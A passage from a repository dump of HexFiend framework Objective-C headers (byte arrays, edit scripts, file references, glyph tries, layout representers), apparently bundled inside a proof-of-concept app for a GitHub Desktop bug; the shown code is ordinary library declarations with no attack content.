hint:(nullable NSMutableDictionary *)hint; 167 | 168 | @end 169 | 170 | 171 | /*! @category HFByteArray(HFAttributes) 172 | @brief HFByteArray methods for attributes of byte arrays. 173 | */ 174 | @interface HFByteArray (HFAttributes) 175 | 176 | /*! Returns a byte range attribute array for the bytes in the given range. */ 177 | - (HFByteRangeAttributeArray *)attributesForBytesInRange:(HFRange)range; 178 | 179 | /*! Returns the HFByteArray level byte range attribute array. Default is to return nil. */ 180 | - (nullable HFByteRangeAttributeArray *)byteRangeAttributeArray; 181 | 182 | @end 183 | 184 | NS_ASSUME_NONNULL_END 185 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFByteArrayEditScript.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFByteArrayEditScript.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2010 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | /*! @class HFByteArrayEditScript 13 | @brief A class that represents an sequence of instructions for editing an @link HFByteArray @endlink. 14 | 15 | HFByteArrayEditScript is useful for representing a diff between two HFByteArrays. 16 | */ 17 | 18 | @class HFByteArray, HFProgressTracker; 19 | 20 | /*! @struct HFEditInstruction_t 21 | @brief A struct that represents a single instruction in an @link HFByteArrayEditScript @endlink. 22 | 23 | Replace the bytes in the source in range 'src' with bytes from the destination in range 'dst'. Note that if src is empty, then it is a pure insertion at src.location; if dst is empty it is a pure deletion of src. If neither is empty, it is replacing some bytes with others. It should never happen that both are empty. 24 | */ 25 | struct HFEditInstruction_t { 26 | /*! Source range, to be replaced */ 27 | HFRange src; 28 | 29 | /*! Destination range, that does the replacing */ 30 | HFRange dst; 31 | }; 32 | 33 | @interface HFByteArrayEditScript : NSObject { 34 | HFByteArray *source; 35 | HFByteArray *destination; 36 | 37 | unsigned long long sourceLength; 38 | unsigned long long destLength; 39 | 40 | volatile const int *cancelRequested; 41 | volatile int64_t *currentProgress; 42 | 43 | int32_t concurrentProcesses; 44 | dispatch_queue_t insnQueue; 45 | struct HFEditInstruction_t *insns; 46 | size_t insnCount, insnCapacity; 47 | } 48 | 49 | /*! Computes the edit script (differences) from src to dst. This retains both src and dst, and if they are modified then the receiver will likely no longer function. You may optionally pass an HFProgressTracker for progress reporting and cancellation. This returns nil if it was cancelled. */ 50 | - (nullable instancetype)initWithDifferenceFromSource:(HFByteArray *)src toDestination:(HFByteArray *)dst trackingProgress:(nullable HFProgressTracker *)progressTracker; 51 | 52 | /*! Applies the receiver to an HFByteArray. */ 53 | - (void)applyToByteArray:(HFByteArray *)byteArray; 54 | 55 | /*! Returns the number of instructions. */ 56 | - (NSUInteger)numberOfInstructions; 57 | 58 | /*! Returns the instruction at a given index. */ 59 | - (struct HFEditInstruction_t)instructionAtIndex:(NSUInteger)index; 60 | 61 | @end 62 | 63 | NS_ASSUME_NONNULL_END 64 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFByteRangeAttribute.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | NS_ASSUME_NONNULL_BEGIN 4 | 5 | /* Attributes used to illustrate diffs. */ 6 | extern NSString * const kHFAttributeDiffInsertion; 7 | 8 | /* Attribute used for illustrating a focused range of characters. */ 9 | extern NSString * const kHFAttributeFocused; 10 | 11 | /* Attributes used for address spaces of other processes. */ 12 | extern NSString * const kHFAttributeUnmapped; /* A range that is not allocated, used to describe sparse data sets (e.g. a virtual address space). */ 13 | extern NSString * const kHFAttributeUnreadable; /* A range that is allocated but is not readable. */ 14 | extern NSString * const kHFAttributeWritable; /* A range that is writable. */ 15 | extern NSString * const kHFAttributeExecutable; /* A range that is executable. */ 16 | extern NSString * const kHFAttributeShared; /* A range that is shared memory. */ 17 | 18 | extern NSString * const kHFAttributeMagic; /* For testing. */ 19 | 20 | /* Bookmark attribute. Pass an integer (the bookmark) and get back a string that can be used as an attribute. */ 21 | extern NSString *HFBookmarkAttributeFromBookmark(NSInteger bookmark); 22 | 23 | /* Given a bookmark string, return the bookmark index for it, or NSNotFound if the string does not represent a bookmark attribute. */ 24 | extern NSInteger HFBookmarkFromBookmarkAttribute(NSString *bookmark); 25 | 26 | NS_ASSUME_NONNULL_END 27 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFByteRangeAttributeArray.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFByteRangeAttributeArray.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2009 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | /*! @class HFByteRangeAttributeArray 13 | @brief A class that represents sets of attributes, attached to ranges of bytes. 14 | */ 15 | @interface HFByteRangeAttributeArray : NSObject { 16 | } 17 | 18 | /*! Returns the set of attributes at the given index, and the length over which those attributes are valid (if not NULL). */ 19 | - (NSSet *)attributesAtIndex:(unsigned long long)index length:(unsigned long long *_Nullable)length; 20 | 21 | /*! Returns the set of attributes within the given range. */ 22 | - (NSSet *)attributesInRange:(HFRange)range; 23 | 24 | /*! Returns the first range of a given attribute. If it is not present, returns {ULLONG_MAX, ULLONG_MAX} */ 25 | - (HFRange)rangeOfAttribute:(NSString *)attribute; 26 | 27 | /*! Adds a given attribute for a given range. */ 28 | - (void)addAttribute:(NSString *)attributeName range:(HFRange)range; 29 | 30 | /*! Removes the given attribute within the given range. */ 31 | - (void)removeAttribute:(NSString *)attributeName range:(HFRange)range; 32 | 33 | /*! Removes the given attribute entirely. */ 34 | - (void)removeAttribute:(NSString *)attributeName; 35 | 36 | /*! Removes the given attributes entirely. */ 37 | - (void)removeAttributes:(NSSet *)attributeName; 38 | 39 | /*! Returns whether the receiver is empty. This should be a count instead. */ 40 | - (BOOL)isEmpty; 41 | 42 | /*! Returns an NSEnumerator of the attributes. The attributes are returned in order, but there is no way to get the range of each attribute. */ 43 | - (NSEnumerator *)attributeEnumerator; 44 | 45 | /*! Called from HFByteArray to indicate when the bytes have changed, and the attributes need to be fixed up. */ 46 | - (void)byteRange:(HFRange)srcRange wasReplacedByBytesOfLength:(unsigned long long)replacementLength; 47 | 48 | /*! Transfer attributes in the given range from array, adding baseOffset to each attribute range. range is interpreted as a range in array. If validator is not NULL, then it is called for each attribute; a YES return allows it to be added and a NO return prevents it. */ 49 | - (void)transferAttributesFromAttributeArray:(HFByteRangeAttributeArray *)array range:(HFRange)range baseOffset:(unsigned long long)baseOffset validator:(nullable BOOL (^)(NSString *))allowTransfer; 50 | 51 | @end 52 | 53 | #ifndef DOXYGEN_ONLY 54 | @interface HFNaiveByteRangeAttributeArray : HFByteRangeAttributeArray { 55 | NSMutableArray *attributeRuns; 56 | } 57 | @end 58 | 59 | @class HFAnnotatedTree; 60 | @interface HFAnnotatedTreeByteRangeAttributeArray : HFByteRangeAttributeArray { 61 | HFAnnotatedTree *atree; 62 | NSMutableDictionary *attributesToNodes; 63 | } 64 | @end 65 | #endif 66 | 67 | NS_ASSUME_NONNULL_END 68 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFByteSlice.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFByteSlice.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | @class HFFileReference, HFByteRangeAttributeArray; 13 | 14 | /*! @class HFByteSlice 15 | @brief A class representing a source of data for an HFByteArray. 16 | 17 | HFByteSlice is an abstract class encapsulating primitive data sources (files, memory buffers, etc.). Each source must support random access reads, and have a well defined length. All HFByteSlices are \b immutable. 18 | 19 | The two principal subclasses of HFByteSlice are HFSharedMemoryByteSlice and HFFileByteSlice, which respectively encapsulate data from memory and from a file. 20 | */ 21 | @interface HFByteSlice : NSObject 22 | 23 | /*! Return the length of the byte slice as a 64 bit value. This is an abstract method that concrete subclasses must override. */ 24 | - (unsigned long long)length; 25 | 26 | /*! Copies a range of data from the byte slice into an in-memory buffer. This is an abstract method that concrete subclasses must override. */ 27 | - (void)copyBytes:(unsigned char *)dst range:(HFRange)range; 28 | 29 | /*! Returns a new slice containing a subrange of the given slice. This is an abstract method that concrete subclasses must override. */ 30 | - (HFByteSlice *)subsliceWithRange:(HFRange)range; 31 | 32 | /*! Attempts to create a new byte slice by appending one byte slice to another. This does not modify the receiver or the slice argument (after all, both are immutable). This is provided as an optimization, and is allowed to return nil if the appending cannot be done efficiently. The default implementation returns nil. 33 | */ 34 | - (nullable HFByteSlice *)byteSliceByAppendingSlice:(HFByteSlice *)slice; 35 | 36 | /*! Returns YES if the receiver is sourced from a file. The default implementation returns NO. This is used to estimate cost when writing to a file. 37 | */ 38 | - (BOOL)isSourcedFromFile; 39 | 40 | /*! For a given file reference, returns the range within the file that the receiver is sourced from. If the receiver is not sourced from this file, returns {ULLONG_MAX, ULLONG_MAX}. The default implementation returns {ULLONG_MAX, ULLONG_MAX}. This is used during file saving to to determine how to properly overwrite a given file. 41 | */ 42 | - (HFRange)sourceRangeForFile:(HFFileReference *)reference; 43 | 44 | @end 45 | 46 | /*! @category HFByteSlice(HFAttributes) 47 | @brief Methods for querying attributes of individual byte slices. */ 48 | @interface HFByteSlice (HFAttributes) 49 | 50 | /*! Returns the attributes for the bytes in the given range. */ 51 | - (nullable HFByteRangeAttributeArray *)attributesForBytesInRange:(HFRange)range; 52 | 53 | @end 54 | 55 | NS_ASSUME_NONNULL_END 56 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFCancelButton.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFCancelButton.h 3 | // HexFiend_2 4 | // 5 | // Created by peter on 6/11/08. 6 | // Copyright 2008 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | /*! @class HFCancelButton 12 | @brief A simple subclass of NSButton that has the correct appearance for cancelling. This is not a generally useful class. */ 13 | 14 | @interface HFCancelButton : NSButton 15 | 16 | @end 17 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFColumnRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFColumnRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Created by Kevin Wojniak on 1/1/19. 6 | // Copyright © 2019 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | NS_ASSUME_NONNULL_BEGIN 12 | 13 | @interface HFColumnRepresenter : HFRepresenter 14 | 15 | - (void)setLineCountingWidth:(CGFloat)width; 16 | 17 | @property (readonly) CGFloat preferredHeight; 18 | 19 | @end 20 | 21 | extern NSString *const HFColumnRepresenterViewHeightChanged; 22 | 23 | NS_ASSUME_NONNULL_END 24 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFColumnView.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFColumnView.h 3 | // HexFiend_2 4 | // 5 | // Created by Kevin Wojniak on 1/1/19. 6 | // Copyright © 2019 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import 12 | 13 | NS_ASSUME_NONNULL_BEGIN 14 | 15 | @interface HFColumnView : NSView 16 | 17 | @property (weak) HFColumnRepresenter *representer; 18 | @property CGFloat lineCountingWidth; 19 | @property HFHexGlyphTable *glyphTable; 20 | 21 | @end 22 | 23 | NS_ASSUME_NONNULL_END 24 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFCustomEncoding.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFCustomEncoding.h 3 | // HexFiend_Framework 4 | // 5 | // Created by Kevin Wojniak on 6/16/18. 6 | // Copyright © 2018 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface HFCustomEncoding : HFStringEncoding 12 | 13 | - (nullable instancetype)initWithPath:(nonnull NSString *)path; 14 | 15 | @end 16 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFEncodingManager.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFEncodingManager.h 3 | // HexFiend_Framework 4 | // 5 | // Created by Kevin Wojniak on 12/30/18. 6 | // Copyright © 2018 ridiculous_fish. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import 12 | 13 | @interface HFEncodingManager : NSObject 14 | 15 | + (instancetype)shared; 16 | 17 | @property (readonly) NSArray *systemEncodings; 18 | - (HFNSStringEncoding *)systemEncoding:(NSStringEncoding)systenEncoding; 19 | 20 | - (NSArray *)loadCustomEncodingsFromDirectory:(NSString *)directory; 21 | @property (readonly) NSArray *customEncodings; 22 | 23 | - (HFStringEncoding *)encodingByIdentifier:(NSString *)identifier; 24 | 25 | @property (readonly) HFNSStringEncoding *ascii; 26 | 27 | @end 28 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFFastMemchr.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | unsigned char *_Nullable HFFastMemchr(const unsigned char * _Nonnull s, unsigned char c, size_t n); 4 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFFileByteSlice.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFFileByteSlice.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2008 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | @class HFFileReference; 13 | 14 | /*! @class HFFileByteSlice 15 | @brief A subclass of HFByteSlice for working data stored in files. 16 | 17 | HFFileByteSlice is a subclass of HFByteSlice that represents a portion of data from a file. The file is specified as an HFFileReference; since the HFFileReference encapsulates the file descriptor, multiple HFFileByteSlices may all reference the same file without risking overrunning the limit on open files. 18 | */ 19 | @interface HFFileByteSlice : HFByteSlice { 20 | HFFileReference *fileReference; 21 | unsigned long long offset; 22 | unsigned long long length; 23 | } 24 | 25 | /*! Initialize an HFByteSlice from a file. The receiver represents the entire extent of the file. */ 26 | - (instancetype)initWithFile:(HFFileReference *)file; 27 | 28 | /*! Initialize an HFByteSlice from a portion of a file, specified as an offset and length. The sum of the offset and length must not exceed the length of the file. This is the designated initializer. */ 29 | - (instancetype)initWithFile:(HFFileReference *)file offset:(unsigned long long)offset length:(unsigned long long)length; 30 | 31 | @end 32 | 33 | NS_ASSUME_NONNULL_END 34 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFFileReference.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFFileReference.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2008 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | /*! @class HFFileReference 13 | @brief A reference to an open file. 14 | 15 | HFFileReference encapsulates a reference to an open file. Multiple instances of HFFileByteSlice may share an HFFileReference, so that the file only needs to be opened once. 16 | 17 | All HFFileReferences use non-caching IO (F_NOCACHE is set). 18 | */ 19 | @interface HFFileReference : NSObject 20 | 21 | @property (readonly) BOOL isPrivileged; 22 | @property (readonly) BOOL isFixedLength; 23 | 24 | /*! Open a file for reading and writing at the given path. The permissions mode of any newly created file is 0644. Returns nil if the file could not be opened, in which case the error parameter (if not nil) will be set. */ 25 | - (nullable instancetype)initWritableWithPath:(NSString *)path error:(NSError **)error; 26 | 27 | /*! Open a file for reading only at the given path. Returns nil if the file could not be opened, in which case the error parameter (if not nil) will be set. */ 28 | - (nullable instancetype)initWithPath:(NSString *)path error:(NSError **)error; 29 | 30 | /*! Closes the file. */ 31 | - (void)close; 32 | 33 | /*! Reads from the file into a local memory buffer. The sum of the length and the offset must not exceed the length of the file. 34 | @param buff The buffer to read into. 35 | @param length The number of bytes to read. 36 | @param offset The offset in the file to read. 37 | */ 38 | - (void)readBytes:(unsigned char *)buff length:(NSUInteger)length from:(unsigned long long)offset; 39 | 40 | /*! Writes data to the file, which must have been opened writable. 41 | @param buff The data to write. 42 | @param length The number of bytes to write. 43 | @param offset The offset in the file to write to. 44 | @return 0 on success, or an errno-style error code on failure 45 | */ 46 | - (int)writeBytes:(const unsigned char *)buff length:(NSUInteger)length to:(unsigned long long)offset; 47 | 48 | /*! Returns the length of the file, as a 64 bit unsigned long long. */ 49 | - (unsigned long long)length; 50 | 51 | /*! Changes the length of the file via \c ftruncate. Returns YES on success, NO on failure; on failure it optionally returns an NSError by reference. */ 52 | - (BOOL)setLength:(unsigned long long)length error:(NSError **)error; 53 | 54 | /*! isEqual: returns whether two file references both reference the same file, as in have the same inode and device. */ 55 | - (BOOL)isEqual:(nullable id)val; 56 | 57 | @end 58 | 59 | NS_ASSUME_NONNULL_END 60 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFFrameworkPrefix.h: -------------------------------------------------------------------------------- 1 | // 2 | // Prefix header for all source files of the 'HexFiend_2' target in the 'HexFiend_2' project 3 | // 4 | 5 | #import 6 | #ifdef __OBJC__ 7 | #if TARGET_OS_IPHONE 8 | #import 9 | #else 10 | #import 11 | #endif 12 | #import 13 | #endif 14 | 15 | #define UNIMPLEMENTED_VOID() [NSException raise:NSGenericException \ 16 | format:@"Message %@ sent to instance of class %@, "\ 17 | @"which does not implement that method",\ 18 | NSStringFromSelector(_cmd), [[self class] description]] 19 | 20 | #define UNIMPLEMENTED() UNIMPLEMENTED_VOID(); return 0 21 | 22 | /* Macro to "use" a variable to prevent unused variable warnings. */ 23 | #define USE(x) ((void)(x)) 24 | 25 | #define check_malloc(x) ({ size_t _count = (x); void *_result = malloc(_count); if(!_result) { fprintf(stderr, "Out of memory allocating %lu bytes\n", (unsigned long)_count); exit(EXIT_FAILURE); } _result; }) 26 | #define check_calloc(x) ({ size_t _count = (x); void *_result = calloc(_count, 1); if(!_result) { fprintf(stderr, "Out of memory allocating %lu bytes\n", (unsigned long)_count); exit(EXIT_FAILURE); } _result; }) 27 | #define check_realloc(p, x) ({ size_t _count = (x); void *_result = realloc((p), x); if(!_result) { fprintf(stderr, "Out of memory reallocating %lu bytes\n", (unsigned long)_count); exit(EXIT_FAILURE); } _result; }) 28 | 29 | #if ! NDEBUG 30 | #define REQUIRE_NOT_NULL(a) do { \ 31 | if ((a)==NULL) {\ 32 | fprintf(stderr, "REQUIRE_NOT_NULL failed: NULL value for parameter " #a " on line %d in file %s\n", __LINE__, __FILE__);\ 33 | abort();\ 34 | }\ 35 | } while (0) 36 | 37 | #define EXPECT_CLASS(e, c) do { \ 38 | if (! [(e) isKindOfClass:[c class]]) {\ 39 | fprintf(stderr, "EXPECT_CLASS failed: Expression " #e " is %s on line %d in file %s\n", (e) ? "(nil)" : [[e description] UTF8String], __LINE__, __FILE__);\ 40 | abort();\ 41 | }\ 42 | } while (0) 43 | 44 | #else 45 | #define REQUIRE_NOT_NULL(a) USE(a) 46 | #define EXPECT_CLASS(e, c) USE(e) 47 | #endif 48 | 49 | #define NEW_ARRAY(type, name, number) \ 50 | type name ## static_ [256];\ 51 | bzero(name ## static_, sizeof(name ## static_));\ 52 | type * name = ((number) <= 256 ? name ## static_ : check_calloc((number) * sizeof(type))) 53 | 54 | #define FREE_ARRAY(name) \ 55 | if (name != name ## static_) free(name) 56 | 57 | // See "Can I create a C array of retained pointers under ARC?" 58 | // https://developer.apple.com/library/content/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html 59 | #define DEFINE_OBJ_ARRAY(type, name) \ 60 | __strong type * name 61 | #define INIT_OBJ_ARRAY(type, number) \ 62 | (__strong type *)check_calloc((number) * sizeof(type)) 63 | #define NEW_OBJ_ARRAY(type, name, number) \ 64 | DEFINE_OBJ_ARRAY(type, name) = INIT_OBJ_ARRAY(type, number) 65 | #define FREE_OBJ_ARRAY(name, number) \ 66 | for (size_t __Free_Index = 0; __Free_Index < number; ++__Free_Index) { \ 67 | name[__Free_Index] = nil; \ 68 | } \ 69 | free(name); 70 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFFullMemoryByteArray.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFFullMemoryByteArray.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | /*! 11 | @class HFFullMemoryByteArray 12 | @brief A naive subclass of HFByteArray suitable mainly for testing. Use HFBTreeByteArray instead. 13 | 14 | HFFullMemoryByteArray is a simple subclass of HFByteArray that does not store any byte slices. Because it stores all data in an NSMutableData, it is not efficient. It is mainly useful as a naive implementation for testing. Use HFBTreeByteArray instead. 15 | */ 16 | @interface HFFullMemoryByteArray : HFByteArray { 17 | NSMutableData *data; 18 | } 19 | 20 | 21 | @end 22 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFFullMemoryByteSlice.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFFullMemoryByteSlice.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | /*! @class HFFullMemoryByteSlice 13 | 14 | @brief A simple subclass of HFByteSlice that wraps an NSData. For most uses, prefer HFSharedMemoryByteSlice. 15 | */ 16 | @interface HFFullMemoryByteSlice : HFByteSlice { 17 | NSData *data; 18 | } 19 | 20 | /*! Init with a given NSData, which is copied via the \c -copy message. */ 21 | - (instancetype)initWithData:(NSData *)val; 22 | 23 | @end 24 | 25 | NS_ASSUME_NONNULL_END 26 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFGlyphTrie.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | /* HFGlyphTrie is used to represent a trie of glyphs that allows multiple concurrent readers, along with one writer. */ 4 | 5 | 6 | NS_ASSUME_NONNULL_BEGIN 7 | 8 | /* BranchFactor is in bits */ 9 | #define kHFGlyphTrieBranchFactor 4 10 | #define kHFGlyphTrieBranchCount (1 << kHFGlyphTrieBranchFactor) 11 | 12 | typedef uint16_t HFGlyphFontIndex; 13 | #define kHFGlyphFontIndexInvalid ((HFGlyphFontIndex)(-1)) 14 | 15 | #define kHFGlyphInvalid kCGFontIndexInvalid 16 | 17 | struct HFGlyph_t { 18 | HFGlyphFontIndex fontIndex; 19 | CGGlyph glyph; 20 | }; 21 | 22 | static inline BOOL HFGlyphEqualsGlyph(struct HFGlyph_t a, struct HFGlyph_t b) __attribute__((unused)); 23 | static inline BOOL HFGlyphEqualsGlyph(struct HFGlyph_t a, struct HFGlyph_t b) { 24 | return a.glyph == b.glyph && a.fontIndex == b.fontIndex; 25 | } 26 | 27 | struct HFGlyphTrieBranch_t { 28 | void *_Nullable children[kHFGlyphTrieBranchCount]; 29 | }; 30 | 31 | struct HFGlyphTrieLeaf_t { 32 | struct HFGlyph_t glyphs[kHFGlyphTrieBranchCount]; 33 | }; 34 | 35 | struct HFGlyphTrie_t { 36 | uint8_t branchingDepth; 37 | struct HFGlyphTrieBranch_t root; 38 | }; 39 | 40 | /* Initializes a trie with a given key size */ 41 | __private_extern__ void HFGlyphTrieInitialize(struct HFGlyphTrie_t *trie, uint8_t keySize); 42 | 43 | /* Inserts a glyph into the trie */ 44 | __private_extern__ void HFGlyphTrieInsert(struct HFGlyphTrie_t *trie, NSUInteger key, struct HFGlyph_t value); 45 | 46 | /* Attempts to fetch a glyph. If the glyph is not present, returns an HFGlyph_t set to all bits 0. */ 47 | __private_extern__ struct HFGlyph_t HFGlyphTrieGet(const struct HFGlyphTrie_t *trie, NSUInteger key); 48 | 49 | /* Frees all storage associated with a glyph tree. This is not necessary to call under GC. */ 50 | __private_extern__ void HFGlyphTreeFree(struct HFGlyphTrie_t * trie); 51 | 52 | NS_ASSUME_NONNULL_END 53 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFHexGlyphTable.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFHexGlyphTable.h 3 | // HexFiend_2 4 | // 5 | // Copyright © 2019 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | @interface HFHexGlyphTable : NSObject 11 | 12 | - (instancetype)initWithFont:(HFFont *)font; 13 | 14 | @property (readonly) CGFloat advancement; 15 | @property (readonly) const CGGlyph *table; 16 | 17 | @end 18 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFHexPasteboardOwner.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFHexPasteboardOwner.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | @interface HFHexPasteboardOwner : HFPasteboardOwner 13 | 14 | @property (nonatomic) NSUInteger bytesPerColumn; 15 | 16 | - (NSString *)stringFromByteArray:(HFByteArray *)byteArray ofLength:(unsigned long long)length trackingProgress:(HFProgressTracker *)tracker; 17 | 18 | @end 19 | 20 | NS_ASSUME_NONNULL_END 21 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFHexTextRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFHexTextRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | /*! @class HFHexTextRepresenter 11 | 12 | @brief HFHexTextRepresenter is an HFRepresenter responsible for showing data in hexadecimal form. 13 | 14 | HFHexTextRepresenter is an HFRepresenter responsible for showing data in hexadecimal form. It has no methods except those inherited from HFTextRepresenter. 15 | */ 16 | @interface HFHexTextRepresenter : HFTextRepresenter 17 | 18 | @end 19 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/SafariPoC.app/Contents/Frameworks/HexFiend.framework/Versions/A/Headers/HFLayoutRepresenter.h: -------------------------------------------------------------------------------- 1 | // 2 | // HFLayoutRepresenter.h 3 | // HexFiend_2 4 | // 5 | // Copyright 2007 ridiculous_fish. All rights reserved. 6 | // 7 | 8 | #import 9 | 10 | NS_ASSUME_NONNULL_BEGIN 11 | 12 | /*! @class HFLayoutRepresenter 13 | @brief An HFRepresenter responsible for arranging the views of other HFRepresenters attached to the same HFController. 14 | 15 | HFLayoutRepresenter is an HFRepresenter that manages the views of other HFRepresenters. It arranges their views in its own view, mediating between them to determine their position and size, as well as global properties such as bytes per line. 16 | 17 | HFLayoutRepresenter has an array of representers attached to it. When you add an HFRepresenter to this array, HFLayoutRepresenter will add the view of the representer as a subview of its own view. 18 | 19 | \b Layout 20 | 21 | HFLayoutRepresenter is capable of arranging the views of other HFRepresenters to fit within the bounds of its view. The layout process depends on three things: 22 | 23 | -# The \c frame and \c autoresizingMask of the representers' views. 24 | -# The \c minimumViewWidthForBytesPerLine: method, which determines the largest number of bytes per line that the representer can display for a given view width. 25 | -# The representer's \c layoutPosition. This is an NSPoint, but it is not used geometrically. Instead, the relative values of the X and Y coordinates of the \c layoutPosition determine the relative positioning of the views, as described below. 26 | 27 | Thus, to have your subclass of HFRepresenter participate in the HFLayoutRepresenter system, override \c defaultLayoutPosition: to control its positioning, and possibly \\c minimumViewWidthForBytesPerLine: if your representer requires a certain width to display some bytes per line. Then ensure your view has its autoresizing mask set properly, and if its frame is fixed size, ensure that its frame is correct as well. 28 | 29 | The layout process, in detail, is: 30 | 31 | -# The views are sorted vertically by the Y component of their representers' \c layoutPosition into "slices." Smaller values appear towards the bottom of the layout view. There is no space between slices. 32 | -# Views with equal Y components are sorted horizontally by the X component of their representers' \c layoutPosition, with smaller values appearing on the left. 33 | -# The height of each slice is determined by the tallest view within it, excluding views that have \c NSViewHeightSizable set. If there is any leftover vertical space, it is distributed equally among all slices with at least one view with \c NSViewHeightSizable set. 34 | -# If the layout representer is not set to maximize the bytes per line (BPL), then the BPL from the HFController is used. Otherwise: 35 | -# Each representer is queried for its \c minimumViewWidthForBytesPerLine: 36 | -# The largest BPL allowing each row to fit within the layout width is determined via a binary search. 37 | -# The BPL is rounded down to a multiple of the bytes per column (if non-zero). 38 | -# The BPL is then set on the controller. 39 | -# For each row, each view is assigned its minimum view width for the BPL. 40 | -# If there is any horizontal space left over, it is divided evenly between all views in that slice that have \c NSViewWidthSizable set in their autoresizing mask. 41 | 42 | */ 43 | @interface HFLayoutRepresenter : HFRepresenter { 44 | NSMutableArray *representers; 45 | BOOL maximizesBytesPerLine; 46 | } 47 | 48 | /*! @name Managed representers 49 | Managing the list of representers laid out by the receiver 50 | */ 51 | //@{ 52 | /// Return the array of representers managed by the receiver. */ 53 